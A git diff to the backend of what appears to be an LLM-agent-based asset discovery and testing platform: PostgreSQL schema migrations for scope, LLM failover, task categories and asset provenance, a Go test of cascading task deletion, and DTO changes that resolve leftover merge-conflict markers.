diff --git a/db/schema.sql b/db/schema.sql index 68e8701..59b25ec 100644 --- a/db/schema.sql +++ b/db/schema.sql @@ -31,6 +31,11 @@ CREATE TABLE IF NOT EXISTS assets ( 'root_domain','ip','subdomain','app','service','endpoint' )), company_id BIGINT REFERENCES companies(id) ON DELETE SET NULL, + -- explicit: caller/user selected the company; scope: derived from company_scope. + -- Existing installations are conservatively migrated as explicit so a scope + -- rebuild can never erase a historical manual association. + company_source TEXT NOT NULL DEFAULT 'explicit' + CHECK (company_source IN ('explicit','scope')), task_ids BIGINT[] NOT NULL DEFAULT '{}', domain TEXT, root_domain TEXT, @@ -84,6 +89,13 @@ CREATE INDEX IF NOT EXISTS idx_av2_bound_domains ON assets USING GIN(bound_domai CREATE INDEX IF NOT EXISTS idx_av2_open_ports ON assets USING GIN(open_ports) WHERE type = 'ip'; CREATE INDEX IF NOT EXISTS idx_av2_last_seen ON assets(last_seen DESC); CREATE INDEX IF NOT EXISTS idx_av2_type_seen ON assets(type, last_seen DESC); +ALTER TABLE assets ADD COLUMN IF NOT EXISTS company_source TEXT; +UPDATE assets SET company_source = 'explicit' WHERE company_source IS NULL; +ALTER TABLE assets ALTER COLUMN company_source SET DEFAULT 'explicit'; +ALTER TABLE assets ALTER COLUMN company_source SET NOT NULL; +ALTER TABLE assets DROP CONSTRAINT IF EXISTS assets_company_source_check; +ALTER TABLE assets ADD CONSTRAINT assets_company_source_check + CHECK (company_source IN ('explicit','scope')); DROP TRIGGER IF EXISTS trg_av2_upd ON assets; CREATE TRIGGER trg_av2_upd BEFORE UPDATE ON assets FOR EACH ROW EXECUTE FUNCTION set_updated_at(); @@ -91,17 +103,36 @@ CREATE TRIGGER trg_av2_upd BEFORE UPDATE ON assets CREATE TABLE IF NOT EXISTS company_scope ( id BIGSERIAL PRIMARY KEY, company_id BIGINT NOT NULL REFERENCES companies(id) ON DELETE CASCADE, - kind TEXT NOT NULL CHECK (kind IN ('domain','ip','cidr')), + kind TEXT NOT NULL CHECK (kind IN ('domain','ip','cidr','icp','keyword')), domain TEXT, net CIDR, + value TEXT, raw TEXT NOT NULL, reason TEXT, created_at TIMESTAMPTZ NOT NULL DEFAULT now(), CONSTRAINT uq_sv2_domain UNIQUE (company_id, domain), - CONSTRAINT uq_sv2_net UNIQUE (company_id, net) + CONSTRAINT uq_sv2_net UNIQUE (company_id, net), + CONSTRAINT ck_company_scope_payload CHECK ( + (kind = 'domain' AND domain IS NOT NULL AND net IS NULL AND value IS NULL) + OR (kind IN ('ip','cidr') AND domain IS NULL AND net IS NOT NULL AND value IS NULL) + OR (kind IN ('icp','keyword') AND domain IS NULL AND net IS NULL AND value IS NOT NULL) + ) +); +-- Existing installations need the new text payload and expanded kind check. +ALTER TABLE company_scope ADD COLUMN IF NOT EXISTS value TEXT; +ALTER TABLE company_scope DROP CONSTRAINT IF EXISTS company_scope_kind_check; +ALTER TABLE company_scope ADD CONSTRAINT company_scope_kind_check + CHECK (kind IN ('domain','ip','cidr','icp','keyword')); +ALTER TABLE company_scope DROP CONSTRAINT IF EXISTS ck_company_scope_payload; +ALTER TABLE company_scope ADD CONSTRAINT ck_company_scope_payload CHECK ( + (kind = 'domain' AND domain IS NOT NULL AND net IS NULL AND value IS NULL) + OR (kind IN ('ip','cidr') AND domain IS NULL AND net IS NOT NULL AND value IS NULL) + OR (kind IN ('icp','keyword') AND domain IS NULL AND net IS NULL AND value IS NOT NULL) ); CREATE INDEX IF NOT EXISTS idx_sv2_domain ON company_scope(domain) WHERE kind = 'domain'; CREATE INDEX IF NOT EXISTS idx_sv2_net ON company_scope USING GIST(net inet_ops) WHERE kind IN ('ip','cidr'); +CREATE UNIQUE INDEX IF NOT EXISTS uq_sv2_value ON company_scope(company_id, kind, value) WHERE kind IN ('icp','keyword'); +CREATE INDEX IF NOT EXISTS idx_sv2_icp ON company_scope(value) WHERE kind = 'icp'; CREATE INDEX IF NOT EXISTS idx_sv2_company ON company_scope(company_id); -- ===================================================================== @@ -129,19 +160,40 @@ CREATE TABLE IF NOT EXISTS exploration_nodes ( state TEXT NOT NULL DEFAULT 'open', origin TEXT, owner TEXT, + blocked_reason TEXT, created_at TIMESTAMPTZ NOT NULL DEFAULT now(), updated_at TIMESTAMPTZ NOT NULL DEFAULT now(), completed_at TIMESTAMPTZ, CONSTRAINT ck_node_kind CHECK (kind IN ('begin','goal','intent','fact','finding','hint')), CONSTRAINT ck_node_state CHECK ( (kind='begin' AND state IN ('open')) OR - (kind='intent' AND state IN ('open','running','done','blocked','exhausted','stopped')) OR + (kind='intent' AND state IN ('open','running','paused','done','blocked','exhausted','stopped')) OR (kind='goal' AND state IN ('open','met','abandoned')) OR (kind='fact' AND state IN ('confirmed','dismissed','origin')) OR (kind='finding' AND state IN ('confirmed','dismissed')) OR (kind='hint' AND state IN ('active','consumed')) ) ); +ALTER TABLE exploration_nodes ADD COLUMN IF NOT EXISTS blocked_reason TEXT; +DO $$ +BEGIN + IF EXISTS ( + SELECT 1 FROM pg_constraint + WHERE conrelid='exploration_nodes'::regclass + AND conname='ck_node_state' + AND pg_get_constraintdef(oid) NOT LIKE '%paused%' + ) THEN + ALTER TABLE exploration_nodes DROP CONSTRAINT ck_node_state; + ALTER TABLE exploration_nodes ADD CONSTRAINT ck_node_state CHECK ( + (kind='begin' AND state IN ('open')) OR + (kind='intent' AND state IN ('open','running','paused','done','blocked','exhausted','stopped')) OR + (kind='goal' AND state IN ('open','met','abandoned')) OR + (kind='fact' AND state IN ('confirmed','dismissed','origin')) OR + (kind='finding' AND state IN ('confirmed','dismissed')) OR + (kind='hint' AND state IN ('active','consumed')) + ); + END IF; +END $$; CREATE INDEX IF NOT EXISTS idx_expnodes_part ON exploration_nodes(exploration_id, kind); CREATE INDEX IF NOT EXISTS idx_expnodes_frontier ON exploration_nodes(exploration_id, priority DESC) WHERE kind='intent' AND state='open'; @@ -194,12 +246,14 @@ CREATE TABLE IF NOT EXISTS activity ( is_error BOOLEAN NOT NULL DEFAULT false, summary TEXT, detail TEXT, + metadata JSONB NOT NULL DEFAULT '{}', input_tokens INTEGER, output_tokens INTEGER, cache_read_tokens INTEGER, cache_write_tokens INTEGER, created_at TIMESTAMPTZ NOT NULL DEFAULT now() ); +ALTER TABLE activity ADD COLUMN IF NOT EXISTS metadata JSONB NOT NULL DEFAULT '{}'; CREATE INDEX IF NOT EXISTS idx_act_node ON activity(exploration_id, node_id, id); CREATE INDEX IF NOT EXISTS idx_act_since ON activity(exploration_id, id); -- Main/Plan history pages filter by worker (both carry NULL node_id, so idx_act_node @@ -227,8 +281,16 @@ CREATE TABLE IF NOT EXISTS llm_profiles ( rate_per_second DOUBLE PRECISION NOT NULL DEFAULT 0, rate_per_minute DOUBLE PRECISION NOT NULL DEFAULT 0, context_window_k INTEGER NOT NULL DEFAULT 0, + -- 思考参数拆成两个独立字段:thinking_type=思考开关(''/disabled/enabled), + -- reasoning_effort=思考强度(''/low/medium/high/xhigh/max),互不牵连。 reasoning_effort TEXT NOT NULL DEFAULT '', + thinking_type TEXT NOT NULL DEFAULT '', is_default BOOLEAN NOT NULL DEFAULT false, + -- 轮询(故障转移)参数,见 docs/LLM轮询设计.md: + -- priority 顺位,越大越先被选中;激活配置(is_default)永远排链首,与本值无关。 + -- pool_exclude true=不作为故障转移目标(仍可被 agent/任务显式绑定使用)。 + priority INTEGER NOT NULL DEFAULT 0, + pool_exclude BOOLEAN NOT NULL DEFAULT false, created_at TIMESTAMPTZ NOT NULL DEFAULT now(), updated_at TIMESTAMPTZ NOT NULL DEFAULT now() ); @@ -236,13 +298,63 @@ CREATE UNIQUE INDEX IF NOT EXISTS uq_llm_one_default ON llm_profiles(is_default) DROP TRIGGER IF EXISTS trg_llm_upd ON llm_profiles; CREATE TRIGGER trg_llm_upd BEFORE UPDATE ON llm_profiles FOR EACH ROW EXECUTE FUNCTION set_updated_at(); +-- 轮询顺位/排除标记;补旧库。默认 0 / false = 全部配置都参与轮询。 +ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS priority INTEGER NOT NULL DEFAULT 0; +ALTER TABLE llm_profiles ADD COLUMN IF NOT EXISTS pool_exclude BOOLEAN NOT NULL DEFAULT false; + +-- 思考开关字段 thinking_type,从旧的单一 reasoning_effort 语义一次性拆分而来。 +-- schema.sql 每次启动都执行,故迁移必须只跑一次:仅当该列尚不存在时才回填, +-- 否则每次启动都会把用户后来手动设的组合覆盖回去。旧 reasoning_effort 语义: +-- 'off' → 显式关闭 → thinking_type='disabled',强度清空 +-- 'low/medium/high/max' → 开启+强度 → thinking_type='enabled',强度保留 +-- '' → 不发送 → 两者皆空(默认) +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'llm_profiles' AND column_name = 'thinking_type' + ) THEN + ALTER TABLE llm_profiles ADD COLUMN thinking_type TEXT NOT NULL DEFAULT ''; + UPDATE llm_profiles SET thinking_type = 'enabled' + WHERE reasoning_effort IN ('low','medium','high','max'); + UPDATE llm_profiles SET thinking_type = 'disabled', reasoning_effort = '' + WHERE reasoning_effort = 'off'; + END IF; +END $$; + +-- LLM 轮询熔断状态:某个配置连续失败(余额不足/key 失效/限流)后进入冷却,冷却期内 +-- 轮询直接跳过它。内存态为准,这里落库只为重启后不丢冷却窗口——加载时只取尚未 +-- 到期的行(open_until > now),已到期的自然回到"正常",等下一次调用半开试探。 +CREATE TABLE IF NOT EXISTS llm_profile_health ( + profile_id BIGINT PRIMARY KEY REFERENCES llm_profiles(id) ON DELETE CASCADE, + fails INTEGER NOT NULL DEFAULT 0, -- 当前连续失败次数(成功即清零) + trips INTEGER NOT NULL DEFAULT 0, -- 累计熔断次数,用于冷却时间指数退避 + open_until TIMESTAMPTZ, -- 冷却截止;NULL/过期 = 未熔断 + last_error TEXT NOT NULL DEFAULT '', + last_at TIMESTAMPTZ NOT NULL DEFAULT now() +); -- ===================================================================== -- D. 任务层 -- ===================================================================== +-- Global task categories are intentionally independent from task templates. +-- Deleting a category only moves its tasks back to the uncategorized bucket. +CREATE TABLE IF NOT EXISTS task_categories ( + id BIGSERIAL PRIMARY KEY, + name TEXT NOT NULL, + nkey TEXT NOT NULL UNIQUE, + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT now() +); +CREATE INDEX IF NOT EXISTS idx_task_categories_name ON task_categories(name, id); +DROP TRIGGER IF EXISTS trg_task_categories_upd ON task_categories; +CREATE TRIGGER trg_task_categories_upd BEFORE UPDATE ON task_categories + FOR EACH ROW EXECUTE FUNCTION set_updated_at(); + CREATE TABLE IF NOT EXISTS tasks ( id BIGSERIAL PRIMARY KEY, name TEXT NOT NULL DEFAULT '', + category_id BIGINT REFERENCES task_categories(id) ON DELETE SET NULL, description TEXT NOT NULL, goal TEXT NOT NULL, exploration_id BIGINT NOT NULL UNIQUE @@ -250,7 +362,12 @@ CREATE TABLE IF NOT EXISTS tasks ( status TEXT NOT NULL DEFAULT 'created' CHECK (status IN ('created','running','paused','done','failed','timeout')), paused BOOLEAN NOT NULL DEFAULT false, + queued BOOLEAN NOT NULL DEFAULT false, + queued_at TIMESTAMPTZ, + queue_mode TEXT NOT NULL DEFAULT '', llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL, + active_llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL, + llm_chain_revision BIGINT NOT NULL DEFAULT 0, company_id BIGINT REFERENCES companies(id) ON DELETE SET NULL, parent_ref TEXT, timeout_seconds INTEGER NOT NULL DEFAULT 0, @@ -270,8 +387,6 @@ CREATE TRIGGER trg_tasks_upd BEFORE UPDATE ON tasks FOR EACH ROW EXECUTE FUNCTION set_updated_at(); -- planner 心跳触发间隔(秒);补旧库。默认 300s(5min)。见 docs/planner-trigger-impl-plan.md ALTER TABLE tasks ADD COLUMN IF NOT EXISTS plan_heartbeat_seconds INTEGER NOT NULL DEFAULT 300; -<<<<<<< Updated upstream -======= -- 并发上限挂起态;补旧库。true=因并发上限排队、等待空位自动启动。 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queued BOOLEAN NOT NULL DEFAULT false; -- 资产覆盖度功能开关;补旧库。true(默认)=计算/展示测试覆盖度、自动累积测试范围、 @@ -285,8 +400,11 @@ ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queued_at TIMESTAMPTZ; ALTER TABLE tasks ADD COLUMN IF NOT EXISTS queue_mode TEXT NOT NULL DEFAULT ''; -- 可选的任务名称;补旧库。空串=未命名,前端展示时回退到描述。 ALTER TABLE tasks ADD COLUMN IF NOT EXISTS name TEXT NOT NULL DEFAULT ''; +ALTER TABLE tasks ADD COLUMN IF NOT EXISTS category_id BIGINT REFERENCES task_categories(id) ON DELETE SET NULL; ALTER TABLE tasks ADD COLUMN IF NOT EXISTS active_llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL; ALTER TABLE tasks ADD COLUMN IF NOT EXISTS llm_chain_revision BIGINT NOT NULL DEFAULT 0; +CREATE INDEX IF NOT EXISTS idx_tasks_category ON tasks(category_id, created_at DESC) + WHERE deleted_at IS NULL AND category_id IS NOT NULL; -- Reusable task description/goal presets. nkey is the normalized, case-insensitive -- identity used to reject visually equivalent duplicate names. @@ -315,6 +433,55 @@ CREATE TABLE IF NOT EXISTS task_relations ( ); CREATE INDEX IF NOT EXISTS idx_task_relations_source ON task_relations(source_task_id); +-- Task/asset provenance supplements the legacy assets.task_ids association. The +-- array remains the compatibility source for existing query and cleanup paths; +-- this relation records how each association was obtained for operator review. +CREATE TABLE IF NOT EXISTS task_asset_links ( + task_id BIGINT NOT NULL REFERENCES tasks(id) ON DELETE CASCADE, + asset_id BIGINT NOT NULL REFERENCES assets(id) ON DELETE CASCADE, + source TEXT NOT NULL DEFAULT 'system', + source_summary TEXT NOT NULL DEFAULT '', + source_node_id BIGINT REFERENCES exploration_nodes(id) ON DELETE SET NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT now(), + PRIMARY KEY (task_id, asset_id) +); +CREATE INDEX IF NOT EXISTS idx_task_asset_links_asset ON task_asset_links(asset_id, task_id); +CREATE INDEX IF NOT EXISTS idx_task_asset_links_node ON task_asset_links(source_node_id) + WHERE source_node_id IS NOT NULL; +DROP TRIGGER IF EXISTS trg_task_asset_links_upd ON task_asset_links; +CREATE TRIGGER trg_task_asset_links_upd BEFORE UPDATE ON task_asset_links + FOR EACH ROW EXECUTE FUNCTION set_updated_at(); + +-- Keep provenance rows synchronized when existing asset upsert paths append or +-- remove task ids. Detailed callers overwrite the generic source after upsert. +CREATE OR REPLACE FUNCTION sync_task_asset_links() RETURNS trigger AS $$ +BEGIN + INSERT INTO task_asset_links(task_id, asset_id, source, source_summary) + SELECT task.id, NEW.id, 'system', '任务执行期间自动关联' + FROM unnest(NEW.task_ids) AS requested(task_id) + JOIN tasks task ON task.id=requested.task_id AND task.deleted_at IS NULL + ON CONFLICT (task_id, asset_id) DO NOTHING; + + DELETE FROM task_asset_links link + WHERE link.asset_id=NEW.id + AND NOT (link.task_id=ANY(NEW.task_ids)); + RETURN NEW; +END; +$$ LANGUAGE plpgsql; +DROP TRIGGER IF EXISTS trg_assets_task_links ON assets; +CREATE TRIGGER trg_assets_task_links AFTER INSERT OR UPDATE OF task_ids ON assets + FOR EACH ROW EXECUTE FUNCTION sync_task_asset_links(); + +-- Existing installations receive an auditable legacy source without rewriting +-- task_ids. Ignore stale array ids that no longer resolve to a live task. +INSERT INTO task_asset_links(task_id, asset_id, source, source_summary) +SELECT task.id, asset.id, 'legacy', '由历史任务资产关联迁移' +FROM assets asset +CROSS JOIN LATERAL unnest(asset.task_ids) AS requested(task_id) +JOIN tasks task ON task.id=requested.task_id AND task.deleted_at IS NULL +ON CONFLICT (task_id, asset_id) DO NOTHING; + -- Ordered task-level LLM failover chain. A quota-exhausted entry is skipped -- until the user saves/resets the chain, which clears all failure state. CREATE TABLE IF NOT EXISTS task_llm_profiles ( @@ -352,7 +519,6 @@ SET active_llm_profile_id = t.llm_profile_id WHERE t.active_llm_profile_id IS NULL AND t.llm_profile_id IS NOT NULL AND EXISTS (SELECT 1 FROM task_llm_profiles x WHERE x.task_id=t.id AND x.profile_id=t.llm_profile_id); ->>>>>>> Stashed changes -- 任务测试范围(资产覆盖度的分母 + 授权边界)。 -- 自动填(source='auto'):insertAssets 顶层按 worker 显式插入的资产类型加保守范围 @@ -363,17 +529,24 @@ WHERE t.active_llm_profile_id IS NULL CREATE TABLE IF NOT EXISTS task_scope ( id BIGSERIAL PRIMARY KEY, task_id BIGINT NOT NULL REFERENCES tasks(id) ON DELETE CASCADE, - kind TEXT NOT NULL CHECK (kind IN ('company','root_domain','subdomain','ip','cidr')), + kind TEXT NOT NULL CHECK (kind IN ('company','root_domain','subdomain','ip','cidr','icp','keyword')), company_id BIGINT REFERENCES companies(id) ON DELETE CASCADE, -- kind='company' domain TEXT, -- root_domain / subdomain net CIDR, -- ip / cidr + value TEXT, -- icp / keyword source TEXT NOT NULL DEFAULT 'auto' CHECK (source IN ('auto','agent','manual')), reason TEXT, created_at TIMESTAMPTZ NOT NULL DEFAULT now() ); +-- 旧库升级:扩展任务范围,使其与企业范围的单文本框识别能力一致。 +ALTER TABLE task_scope ADD COLUMN IF NOT EXISTS value TEXT; +ALTER TABLE task_scope DROP CONSTRAINT IF EXISTS task_scope_kind_check; +ALTER TABLE task_scope ADD CONSTRAINT task_scope_kind_check + CHECK (kind IN ('company','root_domain','subdomain','ip','cidr','icp','keyword')); -- 去重:同一 task 的同一条范围只存一次(自动填批量插入靠它幂等)。 -CREATE UNIQUE INDEX IF NOT EXISTS uq_task_scope ON task_scope( - task_id, kind, COALESCE(domain,''), COALESCE(net::text,''), COALESCE(company_id,0)); +DROP INDEX IF EXISTS uq_task_scope; +CREATE UNIQUE INDEX IF NOT EXISTS uq_task_scope_v2 ON task_scope( + task_id, kind, COALESCE(domain,''), COALESCE(net::text,''), COALESCE(company_id,0), COALESCE(value,'')); CREATE INDEX IF NOT EXISTS idx_ts_domain ON task_scope(domain) WHERE kind IN ('root_domain','subdomain'); CREATE INDEX IF NOT EXISTS idx_ts_net ON task_scope USING GIST(net inet_ops) WHERE kind IN ('ip','cidr'); CREATE INDEX IF NOT EXISTS idx_ts_company ON task_scope(company_id) WHERE kind = 'company'; @@ -392,7 +565,7 @@ CREATE TABLE IF NOT EXISTS agents ( llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL, current_prompt_id BIGINT, max_turns INTEGER NOT NULL DEFAULT 0, - run_seconds INTEGER NOT NULL DEFAULT 600, + run_seconds INTEGER NOT NULL DEFAULT 1200, web_search BOOLEAN NOT NULL DEFAULT false, interactive_shell BOOLEAN NOT NULL DEFAULT false, wrapup_prompt TEXT NOT NULL DEFAULT '', @@ -412,6 +585,9 @@ ALTER TABLE agents ADD COLUMN IF NOT EXISTS trigger_merge_mode TEXT NOT NUL ALTER TABLE agents ADD COLUMN IF NOT EXISTS trigger_max_parallel INTEGER NOT NULL DEFAULT 5; -- per-agent LLM 绑定(agent 级默认模型):列自初版即在上方 CREATE 中,此 ALTER 仅为极旧库兜底(幂等)。 ALTER TABLE agents ADD COLUMN IF NOT EXISTS llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL; +-- run_seconds 单次 run 墙钟默认 600→1200:只改列默认(影响将来新插入的行),不动旧库存量行。 +ALTER TABLE agents ALTER COLUMN run_seconds SET DEFAULT 1200; +CREATE INDEX IF NOT EXISTS idx_agents_llm_profile ON agents(llm_profile_id) WHERE llm_profile_id IS NOT NULL; DROP TRIGGER IF EXISTS trg_agents_upd ON agents; CREATE TRIGGER trg_agents_upd BEFORE UPDATE ON agents FOR EACH ROW EXECUTE FUNCTION set_updated_at(); @@ -501,6 +677,26 @@ CREATE TABLE IF NOT EXISTS agent_skill_visibility ( ); CREATE INDEX IF NOT EXISTS idx_askv_skill ON agent_skill_visibility(skill_name); +-- Skill 调用账本(见 db/skill_usage.go)。一次 Skill() 调用一行,只记维度不记正文。 +-- 刻意不设外键:任务/会话删除后统计仍要保留(与 llm_usage 同理),skill 本身也只是 +-- 文件系统上的目录名,没有对应的表。 +CREATE TABLE IF NOT EXISTS skill_usage ( + id BIGSERIAL PRIMARY KEY, + ts TIMESTAMPTZ NOT NULL DEFAULT now(), + skill TEXT NOT NULL, + agent_key TEXT, + task_id BIGINT, + exploration_id BIGINT, + intent_id BIGINT, + session_id TEXT, + args_len INTEGER NOT NULL DEFAULT 0, + -- false = 模型点名了一个不存在的 skill(未命中)。这类行同样保留:它反映"想用但没有" + -- 的缺口,是补 skill 的依据。 + found BOOLEAN NOT NULL DEFAULT true +); +CREATE INDEX IF NOT EXISTS idx_skill_usage_skill ON skill_usage(skill, ts DESC); +CREATE INDEX IF NOT EXISTS idx_skill_usage_task ON skill_usage(task_id); + -- ===================================================================== -- H. 内置工具目录 -- ===================================================================== @@ -528,9 +724,13 @@ CREATE TABLE IF NOT EXISTS conversations ( agent_key TEXT NOT NULL, title TEXT NOT NULL DEFAULT '', llm_profile_id BIGINT REFERENCES llm_profiles(id) ON DELETE SET NULL, + pinned_at TIMESTAMPTZ, created_at TIMESTAMPTZ NOT NULL DEFAULT now(), updated_at TIMESTAMPTZ NOT NULL DEFAULT now() ); +ALTER TABLE conversations ADD COLUMN IF NOT EXISTS pinned_at TIMESTAMPTZ; +CREATE INDEX IF NOT EXISTS idx_conversations_llm_profile ON conversations(llm_profile_id) WHERE llm_profile_id IS NOT NULL; +CREATE INDEX IF NOT EXISTS idx_conversations_pinned ON conversations(pinned_at DESC) WHERE pinned_at IS NOT NULL; DROP TRIGGER IF EXISTS trg_conversations_upd ON conversations; CREATE TRIGGER trg_conversations_upd BEFORE UPDATE ON conversations FOR EACH ROW EXECUTE FUNCTION set_updated_at(); diff --git a/server/core_test.go b/server/core_test.go index 49e9417..56b8a18 100644 --- a/server/core_test.go +++ b/server/core_test.go @@ -6,6 +6,8 @@ import ( "encoding/json" "net/http" "net/http/httptest" + "os" + "path/filepath" "strconv" "testing" "time" @@ -92,15 +94,85 @@ func TestCoreTaskLifecyclePG(t *testing.T) { t.Fatalf("list tasks: %d", code) } - // delete → cascade removes the exploration subgraph - code, _ = doRetry("DELETE", "/api/tasks/"+id, nil) + // The task detail header consumes the top-level engine mode while some clients + // read the active-task snapshot. Keep both representations in sync. + code, out = doRetry("GET", "/api/stats?task="+id, nil) + if code != 200 { + t.Fatalf("task stats: %d (%v)", code, out) + } + activeTask, ok := out["active_task"].(map[string]any) + if !ok || activeTask["engine_mode"] != out["engine_mode"] { + t.Fatalf("engine mode mismatch: top=%v active_task=%v", out["engine_mode"], activeTask) + } + + // delete → cascade removes the exploration subgraph and selected related data + taskDir := filepath.Join(m.dir, "tasks", id) + if err := os.MkdirAll(taskDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(taskDir, "artifact.txt"), []byte("test"), 0o644); err != nil { + t.Fatal(err) + } + transcriptBase := "exp" + strconv.FormatInt(expID, 10) + "-main" + transcriptPath := filepath.Join(m.dir, "transcripts", transcriptBase+".jsonl") + sidechainPath := filepath.Join(m.dir, "transcripts", transcriptBase) + if err := os.MkdirAll(filepath.Join(sidechainPath, "subagents"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(transcriptPath, []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(sidechainPath, "subagents", "child.jsonl"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + nid, _ := strconv.ParseInt(id, 10, 64) + findingID, err := m.pg.AddFinding(nid, 0, "__core_task_delete__", "", db.SeverityHigh, "summary", "evidence", "tester", nil) + if err != nil { + t.Fatal(err) + } + if err := m.pg.EnsureLLMRecordsTable(); err != nil { + t.Fatal(err) + } + if err := m.pg.InsertLLMRecord(&db.LLMRecord{TaskID: id, SessionID: "delete-test", Status: "ok", RequestBody: "secret"}); err != nil { + t.Fatal(err) + } + // A non-canonical path still resolves to the one canonical task key for the + // barrier, workspace, in-memory registry and DB delete. + code, out = doRetry("DELETE", "/api/tasks/000"+id, map[string]bool{ + "delete_files": true, + "delete_findings": true, + "delete_llm_records": true, + }) if code != 200 { t.Fatalf("delete task: %d", code) } - nid, _ := strconv.ParseInt(id, 10, 64) + if deleted, _ := out["files_deleted"].(bool); !deleted { + t.Fatalf("expected files_deleted response, got %v", out) + } + if deleted, _ := out["findings_deleted"].(float64); deleted != 1 { + t.Fatalf("expected one deleted finding, got %v", out) + } + if deleted, _ := out["llm_records_deleted"].(float64); deleted != 1 { + t.Fatalf("expected one deleted LLM record, got %v", out) + } + if _, err := os.Stat(taskDir); !os.IsNotExist(err) { + t.Fatalf("task directory should be deleted, stat err=%v", err) + } + for _, path := range []string{transcriptPath, sidechainPath} { + if _, err := os.Stat(path); !os.IsNotExist(err) { + t.Fatalf("task transcript should be deleted (%s), stat err=%v", path, err) + } + } if got, _ := m.pg.GetTask(nid); got != nil { t.Fatalf("task should be deleted from PG") } + if finding, err := m.pg.GetFinding(findingID); err != nil || finding != nil { + t.Fatalf("finding should be deleted, got finding=%+v err=%v", finding, err) + } + var llmRecords int + if err := m.pg.QueryRow(`SELECT count(*) FROM llm_records WHERE task_id=$1`, id).Scan(&llmRecords); err != nil || llmRecords != 0 { + t.Fatalf("task LLM records should be deleted, count=%d err=%v", llmRecords, err) + } var n int m.pg.QueryRow(`SELECT count(*) FROM exploration_nodes WHERE exploration_id=$1`, expID).Scan(&n) if n != 0 { diff --git a/server/dto.go b/server/dto.go index cbce611..91a3558 100644 --- a/server/dto.go +++ b/server/dto.go @@ -30,26 +30,11 @@ func rawString(raw json.RawMessage) string { // ---- Task (frontend "Task") ---- created_at as RFC3339, plus a derived status. type TaskDTO struct { -<<<<<<< Updated upstream - ID string `json:"id"` - ExplorationID int64 `json:"exploration_id"` - Description string `json:"description"` - Goal string `json:"goal"` - Status string `json:"status"` // created | running | paused | done | failed - CreatedAt string `json:"created_at"` - CreatedUnix int64 `json:"created_unix"` // created_at as unix seconds (for run-duration calc) - CompletedAt string `json:"completed_at"` // RFC3339 finish time (done/failed); "" if unfinished - CompletedUnix int64 `json:"completed_unix"` // completed_at as unix seconds (0 if unfinished) - LastActivity int64 `json:"last_activity_unix"` // unix seconds of the last activity (0 if none) - Paused bool `json:"paused"` - Tokens TokenTotalDTO `json:"tokens"` // whole-task token consumption - GoalsTotal int `json:"goals_total"` - GoalsMet int `json:"goals_met"` - LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // LLM profile used for this task; nil = default -======= ID string `json:"id"` ExplorationID int64 `json:"exploration_id"` Name string `json:"name"` // 可选任务名称;空=未命名 + CategoryID *int64 `json:"category_id,omitempty"` + CategoryName string `json:"category_name,omitempty"` Description string `json:"description"` Goal string `json:"goal"` Status string `json:"status"` // created | running | paused | done | failed @@ -71,7 +56,6 @@ type TaskDTO struct { SourceTaskIDs []string `json:"source_task_ids"` CompanyIDs []int64 `json:"company_ids"` CoverageEnabled bool `json:"coverage_enabled"` // 资产覆盖度功能开关(创建时定) ->>>>>>> Stashed changes } // TokenTotalDTO is a whole-task (all agents) token aggregate. @@ -92,23 +76,19 @@ func tokenTotalDTO(u db.TokenUsage) TokenTotalDTO { } func taskDTO(t *Task, status string) TaskDTO { + lifecycle := t.lifecycleSnapshot() + llmState := t.llmStateSnapshot() + sourceIDs := make([]string, 0, len(lifecycle.SourceTaskIDs)) + for _, id := range lifecycle.SourceTaskIDs { + sourceIDs = append(sourceIDs, i64s(id)) + } + profileIDs := append(make([]int64, 0, len(llmState.ProfileIDs)), llmState.ProfileIDs...) return TaskDTO{ -<<<<<<< Updated upstream - ID: t.ID, - ExplorationID: t.ExpID, - Description: t.Description, - Goal: t.Goal, - Status: status, - CreatedAt: rfc3339(time.Unix(t.CreatedAt, 0)), - CreatedUnix: t.CreatedAt, - CompletedAt: completedRFC(t.CompletedAt), - CompletedUnix: t.CompletedAt, - Paused: t.Paused, - LLMProfileID: t.LLMProfileID, -======= ID: t.ID, ExplorationID: t.ExpID, Name: t.Name, + CategoryID: lifecycle.CategoryID, + CategoryName: lifecycle.CategoryName, Description: t.Description, Goal: t.Goal, Status: status, @@ -126,7 +106,6 @@ func taskDTO(t *Task, status string) TaskDTO { SourceTaskIDs: sourceIDs, CompanyIDs: lifecycle.CompanyIDs, CoverageEnabled: t.CoverageEnabled, ->>>>>>> Stashed changes } } @@ -170,17 +149,19 @@ func trafficDTOs(ex []traffic.ExchangeMeta) []TrafficExchangeDTO { // ---- TaskNode (frontend "TaskNode") — frontier, intents, exploration graph nodes ---- type TaskNodeDTO struct { - ID string `json:"id"` - Type string `json:"type"` // db Node.Kind - Payload string `json:"payload,omitempty"` - Priority int `json:"priority"` - State string `json:"state"` - Origin string `json:"origin"` - TS string `json:"ts"` + ID string `json:"id"` + Type string `json:"type"` // db Node.Kind + Payload string `json:"payload,omitempty"` + Priority int `json:"priority"` + State string `json:"state"` + Origin string `json:"origin"` + TS string `json:"ts"` + SourceTaskID string `json:"source_task_id,omitempty"` + Inherited bool `json:"inherited,omitempty"` } func taskNodeDTO(n *db.Node) TaskNodeDTO { - return TaskNodeDTO{ + d := TaskNodeDTO{ ID: i64s(n.ID), Type: n.Kind, Payload: rawString(n.Payload), @@ -189,6 +170,11 @@ func taskNodeDTO(n *db.Node) TaskNodeDTO { Origin: n.Origin, TS: rfc3339(n.CreatedAt), } + if n.SourceTaskID > 0 { + d.SourceTaskID = i64s(n.SourceTaskID) + } + d.Inherited = n.Inherited + return d } // 